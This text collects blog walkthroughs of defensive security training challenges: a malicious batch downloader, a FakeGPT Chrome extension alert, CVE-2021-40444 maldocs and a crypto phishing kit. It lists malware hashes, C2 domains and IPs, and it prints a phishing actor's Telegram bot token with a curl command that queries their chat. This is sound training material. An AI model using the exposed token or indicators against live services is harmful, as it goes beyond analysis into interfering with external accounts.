Question 7: Which command attempts to start an executable file extracted from the zip file?

Based on what we learned in the previous question, we know that after download, the batch script extracts the contents of the retrieved .zip file.

To answer Question 7, we need to identify the command which then runs the executable (.exe) extracted from the archive. Let’s point our attention to line 7 with the start command.

Referencing Microsoft Learn the start command " # “starts a separate Command Prompt window to run a specified program or command.“In our example, the script uses start to launch the malicious executable.

Now that we have confirmed what start does, we can copy all of line 7 to answer Question 7.

Question 8: Which scripting language is used to extract the contents of the zip file?

We’ve made it to the last question! To answer Question 8, we’re going to revisit the UnZipFile subroutine that we looked at in Question 7.

There are a couple of clues here that point us to the correct answer.

In line 11 we see the vbs variable is setting a path ending with the .vbs extension.
The second clue is the command in line 22, cscript. Cscript is a command typically used to run Windows Script files, like .vbs files.

But what is a .vbs file then? It is a file extension for VBScript. VBScript is an older scripting language that is used to automate tasks on Windows systems.

In the malicious script we are analyzing, it is used to extract the contents of the .zip file.

Conclusion:

And there we have it! We’ve successfully analyzed the malicious batch file to and dug into the details of how it works. With the help of Notepad++, we’ve identified how the script downloads a second-stage payload, detailed where it downloads from, how it’s extracted, and how it is executed.

With our objectives completed, let’s close out this walkthrough of the Batch Downloader challenge!

A big thank you to LetsDefend for another educational (and fun) challenge! While this challenge is intended for beginners, it’s always extremely valuable to brush up on our research skills. Using Microsoft Learn to add context helped me gain a much better understanding of how this script works and various areas that we could improve our defenses against these types of attacks.

Again, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Microsoft Learn (Windows Commands): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands

Notepad++: https://notepad-plus-plus.org/

Microsoft Learn (Echo): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo

Microsoft Learn (Bitsadmin): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin

Microsoft Learn (Bitsadmin Transfer): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer

Microsoft Learn (setlocal): https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal

VirusTotal: https://www.virustotal.com/gui/ip-address/193.169.255.78/detection

Microsoft Learn (start): start | Microsoft Learn

Microsoft Learn (cscript): Cscript | Microsoft Learn

Wikipedia (VBScript): VBScript — Wikipedia

LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough

Sun, 01 Sep 2024 00:00:00 +0000

LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough

Investigating a Malicious Chrome Extension inside a simulated SOC

Image Credit: https://letsdefend.io/

Introduction:

Ever wondered what it’s like to be a Security Operations Center (SOC) analyst or how to approach investigating a malicious Google Chrome extension? If so, you’ve stumbled on the right blog!

Welcome to my weekly walkthrough! This week, we’re taking a break from the usual challenge write-up format to tackle the SOC202 — FakeGPT Malicious Chrome Extension " # "

alert" from LetsDefend.

Why the quotes? Well, in addition to scenario-based challenges, LetsDefend provides realistic alert scenarios in a simulated SOC to provide a hands-on experience with a SOC analyst’s workflow!

In this walkthrough, we’re going to go through the full triage of a simulated alert for a malicious Chrome extension installed onto a victim’s device. The triage process will include:

Taking ownership of the alert.
Investigating endpoint logs to understand if the file was detected and quarantined by the antimalware solution.
Leveraging external threat intelligence for context about the suspicious extension.
Hunting through network logs to determine if the extension contacted the command and control server.
Documenting discovered artifacts, creating case notes, and closing the alert.

We’ve got a full plate here, so I hope you’re hungry to learn. Let’s get started — thanks for joining me!

Challenge Link: https://app.letsdefend.io/monitoring

Alert Scenario:

Task 1 — We’re on the case:

First thing’s first. Before we can dive into the investigation, we’ll need to assign the SOC202 — FakeGPT Malicious Chrome Extension alert to ourselves and create a case where we manage our workflow, artifacts, and notes.

From the _Monitoring > Main Channe_l tab, let’s take the alert from the " # "

queue" and assign it to ourselves.

Then, from the Monitoring > Investigation Channel we’ll create the case:

Press Continue and we’ll be taken to the Case Management tab where we’ll keep track of our case and initiate the incident response playbook for this event.

Pro Tip: We’ll need to keep the Case Management window open to manage the playbook steps and to answer questions, but you’ll also need access to the various tabs (Log Management, Endpoint Security, etc.) on your dashboard available during the investigation. So, it’s best to open two tabs/windows in your browser so you can keep the case open on one and investigate with the other.

Now that we have the case opened, let’s follow the playbook and start our investigation!

Task 2: Check if the malware is quarantined/cleaned

Okay, once we click " # “Start Playbook!“we’re jumping right into the investigation and the first step is to the Define Threat Indicator we’re investigating. While we have a couple of pre-made choices to select from, none of them are a good fit since the indicator that triggered the alert is a suspicious browser extension or potential malware, so we’ll select Other.

Now, following the playbook, the first step we’ll take is to determine if the malware has been quarantined/cleaned or if it’s currently active. Reviewing the triggered reason, Suspicious extension added to the browser, the action was allowed. Because of this action we might already assume the file wasn’t quarantined. It’s a good start, but it’s always the best practice to double-verify with the available logs.

So, let’s go a bit deeper and dive into data to understand what happened. To do this, we have a couple of logging sources at our disposal: Log Management & Endpoint Security. Since we’re searching for an Antivirus action, let’s focus on the Endpoint Security logs first since that is the place to find endpoint-level malware logging.

But first, let’s refer back to the alert to recall the victim’s hostname and IP address:

Hostname: Samuel & IP Address: 172.16.17.173

Now, we can begin searching the Endpoint Security log for Samuel’s workstation, correlating the events, and looking for any hits that the malicious extension was quarantined by the endpoint’s antimalware solution.

It’s personal preference, but I’m going to change the results display drop-down from 10 to 20 to see all the log entries on one page. I also like to switch the Event Time column to descending (DESC) order — your choice though!

Next, let’s look at the Process Logs. Here we’ll find an event for Google Chrome (chrome.exe) where the suspicious extension (.crx) was opened with the browser with a timestamp that matches the alert. This establishes a point in time so that we can search the logs of events that occurred after this timestamp.

Finally, let’s focus now specifically on events from Microsoft Defender to see if any quarantine action was taken. But how do we know the endpoint is using Microsoft Defender? Notice the event right after the chrome.exe event we looked at earlier. The file path of the executable is a nice hint, but browsing the process names we’ll see MpCmdRun.exe which is the command-line tool component of Microsoft Defender Antivirus.

So, putting this all together, if we filter the Microsoft Defender process name and look for events after the malware was run, this will help us understand if Defender took any actions against the malicious file.

Based on the command line data, the three entries seem related to signature update jobs and are not quarantine actions. Between the Process events and the allowed action in the alert, we have enough evidence to confirm that the malware was Not Quarantined. Let’s go back to our Case Management tab, select the answer, and move on to the next step in the workflow.

Task 3: Analyze malware in 3rd party tools and find C2 address

Now that we’ve determined that the suspicious extension was not quarantined by the endpoint’s antimalware solution, we’ll need to analyze it further using the provided tools to determine if it is indeed malicious or not.

The playbook suggests the following web-based services that we can use to gather threat intelligence about the extension:

First, let’s jump back to the Alert in the Monitoring > Investigation Channel so we can copy the File Hash of the malicious extension.

If you aren’t familiar with file hashes, here’s a brief description from Microsoft:

A hash value is a unique value that corresponds to the content of the file. Rather than identifying the contents of a file by its file name, extension, or other designation, a hash assigns a unique value to the contents of a file. File names and extensions can be changed without altering the content of the file, and without changing the hash value. Similarly, the file’s content can be changed without changing the name or extension. However, changing even a single character in the contents of a file changes the hash value of the file.

So, put another way, using the file hash of the suspicious extension during our searches means that we’re getting data about the identical, exact file that was installed on Samuel’s workstation giving us a high degree of confidence compared to searching a file name or something easy to manipulate.

File Name: hacfaophiklaeolhnmckojjjjbnappen.crx

File Hash: 7421f9abe5e618a0d517861f4709df53292a5f137053a227bfb4eb8e152a4669

Let’s start with the first service on the list, ANY.RUN. Here, we can search for that file hash, view previous public submissions, and dive into the analysis results. Let’s check out the result with the closest timestamp to the Event Time (May 29, 2023, 01:01 PM) of the alert.

https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/

Scrolling through the screenshots, we’ll get a better idea of what this extension is — a suspicious looking ChatGPT extension.

https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/

This finding also matches something we can observe back in Samuel’s Endpoint Security > Browser History logs.

While we’ve gotten some more context, nothing was explicitly flagged as malicious on ANY.RUN so let’s pivot and check out the next service on the list, VirusTotal.

After submitting the file hash to VirusTotal and reviewing the available tabs, we still have no hits indicating concretely that this extension is malicious but what we do have is a comment in the Community tab linking to an external report from Guardio.

This could be a lead! Let’s check out the report.

[**” # "

FakeGPT” : New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with…** _By Nati Tal (Guardio Labs)_labs.guard.io](https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282 “https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282")[](https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282)

Reading the post, assessing the screenshots, and reviewing the indicators of compromise (IOCs) listed in the article, it also doesn’t seem to match any of the artifacts that we have located so far in the investigation…

But pay close attention to the update note at the top of the article — let’s see what the update has to offer.

Update: March 22, 2023 — Guardio Labs discovered another variant in this FakeGPT campaign, abusing open-source code and yet again hijacking Facebook profiles — read about it here.

[**” # "

FakeGPT" #2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer…** _By Nati Tal (Guardio Labs)_labs.guard.io](https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61 “https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61")[](https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61)

Okay! Based on the screenshots in the second report, this variant already looks familiar based on what we observed on Any.Run! Let’s focus on the IOCs listed at the bottom of the article.

https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61

Now we’re getting somewhere! The Malicious Extension ID matches the one from the alert and now we have some URLs we can hunt for in our Log Management. Since we’ve now located known malicious IOCs that match the artifacts we found on the victim’s system, this confirms that the extension is a malicious, FakeGPT stealer extension.

Task 4: Check if Someone Requested the C2

The next step in our workflow is needing to determine that after the malicious extension was installed if it requested the Command and Control (C2) server address or not.

To do this, we’re going to use the Log Management module to analyze relevant network traffic from Samuel’s device to see if we can find evidence that it contacted the C2 Server IOC that we found in the Guardio post.

Navigate to the Log Management tab, and toggle from the " # “Pro"filter to the " # “Basic"filter:

Then, search for the C2 Server from the IOC list to see if we get any hits in our own logs:

Uh-oh — we have two hits! Recall that Samuel’s source (SRC) IP address is 172.16.17.173 so we know that we’ve found the right entries for his device. Click the first entry to see the Raw Log for more details:

The presence of this DNS query confirms that chrome.exe on Samuel’s device requested the C2 domain that we learned about from the Guardio report. Additionally, we also have two IP addresses that this domain resolves to — let’s confirm this with VirusTotal:

https://www.virustotal.com/gui/domain/version.chatgpt4google.workers.dev/relations

To be thorough, we can also search for the Landing Page IOCs to gather more artifacts for the investigation:

Okay, now that we’ve investigated the logs and found hits for a Landing Page and the C2 server, let’s register that the C2 was accessed and continue through the workflow.

Task 5: Containment

Now that we have confirmed that the file is malicious and it was not quarantined by the antimalware, we’ll need to contain Samuel’s device to prevent any further negative impact so that we can remediate the threat.

To do this, we’ll go back to the Endpoint Security tab, search for Samuel, and trigger the containment action.

Task 6: Report and Close the Case

Okay, we’re closing in on the end of the investigation! The next step in the playbook is to recap the evidence, or artifacts, that we discovered on the victim’s system throughout the investigation.

The first artifact will be the file hash of the malicious extension. The alert provided the SHA256 file hash, but we need to input the MD5 hash into our case. We can simply look back at the VirusTotal entry for the malicious extension and copy it from there.

9cc6c26bd215549c39ba5b65e9eec9ea

Next, we will enter the Chrome Store URL address for the malicious extension. In Task 3, we found this in Samuel’s Browser History and within the Guardio report.

https://chrome.google.com/webstore/detail/chatgpt-for-google/hacfaophiklaeolhnmckojjjjbnappen

Next, we’ll enter the C2 Server URL Address and the 2x DNS resolved IP Addresses that we discovered in Tasks 3 & 4:

version.chatgpt4google.workers.dev 104.21.63.166 172.67.147.243

Finally, we can also add the additional landing pages from the IOC report that we also found with the Log Management data in Task 4. Adding these would reduce the risk of any other user downloading the malicious extension.

chatgptforgoogle.pro 52.76.101.124 3.1.17.18 18.140.6.45

Next, after putting in our list of artifacts, it’s time to input some good Analyst Notes to summarize our findings. These notes will accompany our list of IOCs when we file our case report:

Finally, with our report filed, we can now officially close the alert from the Investigation Channel! Great job tackling this investigation from start to finish — let’s wrap this thing up.

Conclusion:

And there we have it — mission accomplished!

As we wrap up the SOC202 — FakeGPT Malicious Chrome Extension alert, let’s recap what we discovered. Through our investigation of the endpoint logs, we identified a suspicious Chrome extension that was allowed to run. Then, we pivoted to external threat intelligence to provide further context, eventually stumbling on the Guardio report, which confirmed that the extension is malicious. Finally, we hunted for the IOCs from the same report in the network logs, to uncover communication with the command and control server, which confirmed our findings.

Now, you can review your answers in the Closed Alerts tab and review your report from the Case Management tab. Awesome job!

A big thank you to LetsDefend for providing such a cool, in-depth simulation platform. Their platform continues to be a helpful and fun resource for sharpening my cybersecurity skills and staying ready for the next alert. If you found this walkthrough helpful in leveling up your skills or getting you through a tricky challenge, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Microsoft Learn (mpcmdrun.exe): https://learn.microsoft.com/en-us/defender-endpoint/command-line-arguments-microsoft-defender-antivirus

Microsoft Learn (File Hash): https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4#description

Any.Run: https://app.any.run/

Any.Run Task: https://app.any.run/tasks/99055672-d173-4fd6-afc2-7a45c84c3448/

VirusTotal: https://www.virustotal.com/

**Guardio " # "

FakeGPT” : New Variant of Fake-ChatGPT Chrome Extension Stealing Facebook Ad Accounts with Thousands of Daily Installs:** https://labs.guard.io/fakegpt-new-variant-of-fake-chatgpt-chrome-extension-stealing-facebook-ad-accounts-with-4c9996a8f282

**Guardio " # "

FakeGPT” #2: Open-Source Turned Malicious in Another Variant of the Facebook Account-Stealer Chrome Extension:** https://labs.guard.io/fakegpt-2-open-source-turned-malicious-in-another-variant-of-the-facebook-account-stealer-d00ef9883d61

MITRE ATT&CK — Command and Control (TA0011): https://attack.mitre.org/tactics/TA0011/

LetsDefend — MSHTML Challenge Walkthrough

Sun, 25 Aug 2024 00:00:00 +0000

LetsDefend — MSHTML Challenge Walkthrough

Maldoc analysis using zipdump.py, re-search.py, & VirusTotal

Image Credit: https://app.letsdefend.io/challenge/mshtml

Introduction:

Have you ever come across a suspicious document file and wondered if it’s doing something malicious in the background? If so, welcome to another weekly walkthrough — you’ve stumbled on the right blog!

This week, we’re tackling the MSHTML challenge from LetsDefend. Our mission is to analyze four malicious document (maldoc) samples, discover the IP addresses and domains hidden within them, and use that information to figure out which vulnerability or CVE that the threat actor is exploiting.

Throughout this walkthrough, we’ll explore the inner workings of .docx files to find indicators of compromise (IOCs). To do that, we’ll use several tools from Didier Stevens including zipdump, re-search, and numbers-to-string, to extract the artifacts. Then, we’ll leverage VirusTotal to correlate threat intelligence and determine the exploited CVE. Sounds like a fun time!

Although LetsDefend rates this challenge as Hard, we’ll go through it step-by-step to make it much more accessible. What are we waiting for? Thanks for reading along with me!

Challenge Link: https://app.letsdefend.io/challenge/mshtml

Challenge Scenario:

2021’s 0-Day MSHTML

Question 1: Examing the Employees_Contact_Audit_Oct_2021.docx file, what is the malicious IP in the docx file?

All right, let’s jump right in! But before we go too far down the rabbit hole, let’s check out the Tools folder on the Desktop to see what we have available at our disposal to work through this challenge.

For Question 1, we are going to be performing some analysis on a .docx file. It wouldn’t be much fun if we could simply just open it and find our answer, right?

With that in mind, let’s first get some background about the structure of the document’s format from the SANS Analyzing Malicious Documents cheat sheet:

OOXML document files (.docx, .xlsm, etc.) supported by Microsoft Office are compressed zip archives.

Interesting, since a .docx file is basically a zip archive, let’s go back and see what tool in the Tools folder might be able to help with this task. Maybe we can utilize Didier Stevens’ zipdump.py? According to the SANS cheat sheet, this utility can be used to " # “examine contents of OOXML file”— it sounds like this might fit the bill, let’s try it!

We’ll use the following syntax to perform a basic analysis on the document:

python3 zipdump.py /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx

We can see that zipdump.py lists out all the files contained within the .docx and assigns them an index filename — there are so many to choose from! Let’s start with a broad strokes approach.

After consulting the man pages for zipdump.py, we can use the — dumpall (-D) option to dump all these files rather than focus on a specific one for now.

But how will that help us analyze the output? For this, we can pipe the output into another Didier Stevens tool, re-search.py.

re-search.py is a tool that uses regular expressions to search through files. You can use regular expressions from a small builtin library, or provide your own regular expressions.

Combining zipdump and re-search, we’ll use the below command to dump all the indexes in the sample, pipe them into re-search, and then use the included filters to search the output for unique IPv4 addresses:

python3 zipdump.py -D /root/Desktop/ChallengeFiles/Employees_Contact_Audit_Oct_2021.docx | python3 re-search.py -n -u ipv4

Now we’ve located an IP address within the document and found the answer to Question 1!

While we’re at it, let’s do some additional threat intelligence gathering about this IP address on VirusTotal. This could come in handy for later in the challenge…

Question 2: Examing the Employee_W2_Form.docx file, what is the malicious domain in the docx file?

The same way we solved the previous question, we’re going to again combine zipdump and use the filtering capabilities of re-search to locate domains within the dump instead of IPv4 like we did in Question 1.

Let’s look at the options for re-search again:

https://github.com/DidierStevens/DidierStevensSuite/blob/master/re-search.py

At first glance, the url and url-domain options seem like the best choices to use with re-search. But we’ll hit a snag and not locate any suspicious hits when using these filters. Let’s pivot and try a third option, domaintld, in case the top-level domain is not one that is found with the standard url filter.

python3 zipdump.py -D /root/Desktop/ChallengeFiles/Employee_W2_Form.docx | python3 re-search.py -u -n domaintld

There we go! Using the domaintld filter, we found the below domain in the document and can answer Question 2!

Question 3: Examing the Work_From_Home_Survey.doc file, what is the malicious domain in the doc file?

Okay, Question 3 has us analyzing a .doc file. While different than .docx, let’s approach this question with the same way that we used to answer Question 2 by using zipdump.py and re-search.py with the domaintld filter:

python3 zipdump.py -D /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc | python3 re-search.py -n -u domaintld

This seems promising but this domain isn’t long enough to answer Question 3…

Let’s dig more deeply. Instead of using the zipdump.py -D option to dump all the streams, let’s try to analyze them individually. But how do we know which streams to focus on?

Well, let’s do some Google research about the OOXML format to find out more about which stream contains external references like URLs. After some brief searching we’ll stumble across a reference sheet for the WordprocessingML file type from Open Office which has a very helpful note:

Office Open XML - Anatomy of an OOXML WordProcessingML File _Anatomy of a WordProcessingML File A WordprocessingML or docx file is a zip file (a package) containing a number of…_officeopenxml.com

http://officeopenxml.com/anatomyofOOXML.php

With that background information, we are going to focus on stream 10 (-s 10) and dump (-d) the content from this file only using the below command_._

python3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d

This returns a huge blob of output but let’s focus on the highlighted section where we see a Relationship Id. We know from the OOXML specification that this should be the right location to find external links but it seems to be encoded…

While we could use something like CyberChef to perform some decoding/transformation, let’s stick with the provided utilities and use another of Didier Stevens’ tools — Numbers-to-String.py

numbers-to-string.py is a Python program that reads texts files (as arguments on the commandline, @here files or stdin), extract numbers from these files and converts these to strings. The first argument of numbers-to-string.py is a Python expression. This Python expression can use variable n that represents each extracted number.

This should allow us to dump the content of this stream and pipe it into numbers-to-strings to perform the conversion for us.

python3 zipdump.py /root/Desktop/ChallengeFiles/Work_From_Home_Survey.doc -s 10 -d | python3 numbers-to-string.py

There we go! By doing some research and combining two of the included tools, we’ve uncovered a malicious domain within the .doc file!

Question 4: Examing the income_tax_and_benefit_return_2021.docx, what is the malicious domain in the docx file?

For Question 4, we’re looking for a malicious domain again, so let’s circle back and apply the same process that we used to answer Question 2.

Except instead of using the domaintld option like we used before, let’s see if we get any hits using the url-domain option.

python3 zipdump.py -D /root/Desktop/ChallengeFiles/income_tax_and_benefit_return_2021.docx | python3 re-search.py -n -u url-domain

Hey, we found one unique URL in the output! Let’s check it against VirusTotal to see if we can find any hits to confirm if this is a malicious domain or not to confirm our finding.

We have a few hits, but we’ll go a step further and check the Relations > Communicating Files tab, where we will see several file hits including one that looks very familiar…

Let’s submit our answer and move on to the final question to determine what common vulnerability all of the sample files exploit.

Question 5: What is the vulnerability the above files exploited?

Okay, last question! To tackle Question 5, we’ll check the file hash of each sample to collect more information from VirusTotal and discover the common vulnerability that each malicious document exploits.

First, to get the hashes, we’ll run the SHA256sum command for all the files in the ChallengeFile directory:

sha256sum *

Then, we can submit each of the hashes to VirusTotal.

https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1

https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a

https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69

https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745

Did you notice that each one is tagged with the label CVE-2021€“40444? I think we have found the answer, but let’s do some additional research about this vulnerability from Microsoft which describes it as:

A remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.

An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document.

While this is just a brief summary, we get the idea that the samples we’ve analyzed are Microsoft Office documents specially-crafted to exploit a Windows MSHTML vulnerability. Between the intelligence we gathered from VirusTotal and the CVE details from Microsoft, we have enough data to answer Question 5!

Conclusion:

Mission accomplished! We’ve successfully analyzed each of the four maldoc samples, found the IP addresses and domains within them, and used those artifacts to figure out which CVE was exploited. Let’s wrap up this investigation.

A big thank you to LetsDefend for another excellent challenge! While I’ve used Didier Stevens tools before, I hadn’t had the opportunity to try re-search or numbers-to-string. These tools really helped to speed up the investigation since I didn’t have to pivot to external tools, and they were powerful for parsing the zipdump output. This was a great opportunity to practice with these tools hands-on!

If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, please give it a clap! Your feedback lets me know that I helped you out on your security journey. We’re in this together! Thanks for the support!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

SANS Cheat Sheet for Analyzing Malicious Documents: https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/

Didier Stevens (Zipdump.py): https://github.com/DidierStevens/DidierStevensSuite/blob/master/zipdump.py

Didier Stevens (re-search.py): https://blog.didierstevens.com/2021/02/22/re-search-py-and-custom-validations/

VirusTotal: https://www.virustotal.com/gui/ip-address/175.24.190.249/relations

Open Office XML Reference: http://officeopenxml.com/anatomyofOOXML.php

Didier Stevens (Numbers-to-Strings): https://github.com/DidierStevens/DidierStevensSuite/blob/master/numbers-to-string.py

VirusTotal (Employee_W2_Form.docx): https://www.virustotal.com/gui/file/679bbe0c50754853978a3a583505ebb99bce720cf26a6aaf8be06cd879701ff1

VirusTotal (Employees_Contact_Audit_Oct_2021.docx): https://www.virustotal.com/gui/file/ed2b9e22aef3e545814519151528b2d11a5e73d1b2119c067e672b653ab6855a

VirusTotal (Work_From_Home_Survey.doc): https://www.virustotal.com/gui/file/84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69

VirusTotal (income_tax_and_benefit_return_2021.docx): https://www.virustotal.com/gui/file/d0e1f97dbe2d0af9342e64d460527b088d85f96d38b1d1d4aa610c0987dca745

Microsoft MSHTML Remote Code Execution Vulnerability: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444

CyberDefenders — GrabThePhisher Blue Team Lab Walkthrough

Sun, 18 Aug 2024 00:00:00 +0000

CyberDefenders — GrabThePhisher Blue Team Lab Walkthrough

Investigation of a Phishing Kit using Google, PHP, & the Telegram API

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/

Introduction:

Have you ever come across a phishing website spoofing a familiar service and wanted to understand how it works? If so, welcome to another weekly walkthrough — you’ve stumbled on the right blog! This week, we’re tackling the GrabThePhisher Blue Team Lab from CyberDefenders.

Our mission this week is a Threat Intelligence exercise that has us defenders diving into a phishing kit used to impersonate a popular cryptocurrency exchange website and trick unsuspecting victims into providing their crypto wallet seed phrases. That’s not great!

Throughout this walkthrough, we’ll explore the inner workings of this phishing kit, uncovering how it operates, the methods it uses to harvest victim data, and ultimately, who is behind this campaign. Sounds like a fun time!

What are we waiting for? Let’s get started — thanks for reading along!

Challenge Link:

GrabThePhisher | Blue team challenge. _GrabThePhisher is a blue team lab that falls under the Threat Intel category, and will cover the following subjects…_cyberdefenders.org

Challenge Scenario:

Scenario:

An attacker compromised a server and impersonated https://pancakeswap.finance/, a decentralized exchange native to BNB Chain, to host a phishing kit at https://apankewk.soup.xyz/mainpage.php. The attacker set it as an open directory with the file name “pankewk.zip”.

Provided the phishing kit, you as a soc analyst are requested to analyze it and do your threat intel homework.

Question 1: Which wallet is used for asking the seed phrase?

Let’s jump right into analyzing the phishing kit! We’ll start by unzipping the challenge file and getting an overview of the contents. We already know from the scenario that the phishing kit is impersonating the PancakeSwap cryptocurrency exchange_,_ and we’ll see plenty of assets spoofing this service used in the kit.

But the first file that we’ll start analyzing is the index.html, the default landing page for the website. When we open the file, we’ll see several wallet types listed for connection:

Yikes! Does the phishing kit attempt to harvest credentials from all these wallet types? Let’s check into this by navigating back to the pankewk directory and checking for other references to any of these services_._

We’ll find only one of these wallets has its own folder — MetaMask.

Let’s explore this folder and focus on the file metamask.php and examine the code to see if we can find any requests for a seed phrase:

This looks promising! Just below the wallet name, we can see a field asking for a Phrase with some additional code_._ This confirms that we’ve found the correct wallet soliciting the seed phrase, which answers Question 1!

Question 2, 3, & 4:

What is the file name that has the code for the phishing kit?

In which language was the kit written?

What service does the kit use to retrieve the victim’s machine information?

Now that we have discovered the correct wallet let’s take a closer look at some of the other functions in the code to answer Questions 2, 3, & 4.

We already discovered that metamask.php contains the prompt to collect seed phrases, and can probably conclude that this is the file hosting the rest of the phishing code. To double-confirm this theory, we can look further down the code, and we’ll see some functions using the Telegram API. The use of an external chat application is a red flag and confirms that we are looking at the correct file that contains the phishing functions. This answers Question 2.

Next, we need to determine which language the kit was written in. Fortunately, we have determined this already. The file has the .php extension and it contains PHP tags which identify PHP code — so, we are looking at a kit written in PHP.

Finally, we also need to discover what service is being used to find the victim’s device information. Let’s turn our attention to the $request variable. Do you see the API request to a sypexgeo endpoint? Let’s do a Google search to gather more intelligence about this service.

According to their website:

Sypex Geo is a product for determining location by IP address, from the creators of Sypex Dumper. Having received the IP address, Sypex Geo provides information about the visitor’s location — country, region, city, geographic coordinates.

Interesting! It seems that the phishing kit leverages this service to gather geolocation data about its victims. This also confirms that this is the service we are looking for to answer Question 4.

Questions 5 & 6:

How many seed phrases were already collected?

Write down the seed phrase of the most recent phishing incident?

Remember in Question 2 that we located a potential exfiltration function using Telegram? Let’s take another look at this function to see if it performs any other actions:

Notice at the bottom of the function, after the victim inputs the content, it is also appended to a log file on the web server — log.txt. Let’s follow the bread crumb trail and navigate to pankewk/log/log.txt

Inside the file, we’ll see three seed phrases were already collected — not good news! But now we also have the answers to Question 5 & 6.

Questions 7, 8, 9, 10:

Which medium had been used for credential dumping?

What is the token for the channel?

What is the chat ID of the phisher’s channel?

What are the allies of the phish kit developer?

Okay, let’s return to metamask.php and search for evidence to answer the next several questions!

We can answer Question 7 already as we discovered the application/medium back in Question 2. Remember that in addition to being appended to the log.txt, the seed phrase credentials are also dumped to Telegram.

The answers to Questions 8 & 9 are straightforward and listed as the $token and $id variables within the same function!

To answer Question 10, we’ll look to the comments in the code (enclosed by the /* */ ) where we see a message with a username/signature in the closing. We can assume this the “ally” username of the attacker that deployed the phishing kit.

Question 11 & 12: What is the full name of the Phish Actor?

Now that we have thoroughly analyzed the code of the phishing kit, let’s put all the information together, gather about the Telegram channel itself, and apply some threat intelligence to get there. This should all be possible through the Telegram API since we found the channel ID and a bot token exposed in the phishing kit code.

Let’s refer to the Telgram API documentation to determine how to call the API and what methods we can try.

First, we will stumble across the proper format to make the query — awesome!

All queries to the Telegram Bot API must be served over HTTPS and need to be presented in this form: https://api.telegram.org/bot<token>/METHOD_NAME

Then, after reviewing the methods, we will find the getChat option which can be used to retrieve full information about the chat (ChatFullInfo.)

https://core.telegram.org/bots/api#getchat

So, putting all the pieces together we need to specify our bot token, getChat method, and chat ID parameter. Let’s try this in a web browser first by making a GET request using the URL below. This URL takes the information we located in Questions 8 & 9 and puts it into the format we discovered in the Telegram docs.

https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/getChat?chat_id=5442785564

Using the Telegram API in a browser.

For comparison, let’s also try this same request using Curl from the terminal and then use JQ to parse the JSON output and make it pretty.

curl “https://api.telegram.org/bot5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10/getChat?chat_id=5442785564" | jq

Using the Telegram API from the terminal.

With either method, we’ve uncovered new information from the API including the first_name, last_name, and username fields for the members within the chat!

This is the final piece of information we needed to answer the last two questions of this investigation and get us one step closer to finding the threat actor who deployed the phishing kit.

Conclusion:

And there we have it — mission accomplished! We’ve successfully completed our analysis of the phishing kit, determined how it harvests seed phrases, where they are sent, and how many victims have been compromised. But that’s not all! With the help of the Telegram API and some exposed secrets in the phishing kit, we also uncovered more details about the threat actors themselves.

With the objectives completed, let’s close out this walkthrough of the GrabThePhisher Blue Team Lab. A big thank you to CyberDefenders for hosting another great challenge! I found this exercise particularly insightful, as I’ve often wondered how these types of phishing kits work. It was a fantastic opportunity to go hands-on and explore it myself.

My personal highlight was using the Telegram API to pivot and gather more information than was available in the kit. This unique objective provided a great learning opportunity to explore the documentation and understand what information can be found with an exposed token.

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Wikipedia MetaMask: https://en.wikipedia.org/wiki/MetaMask

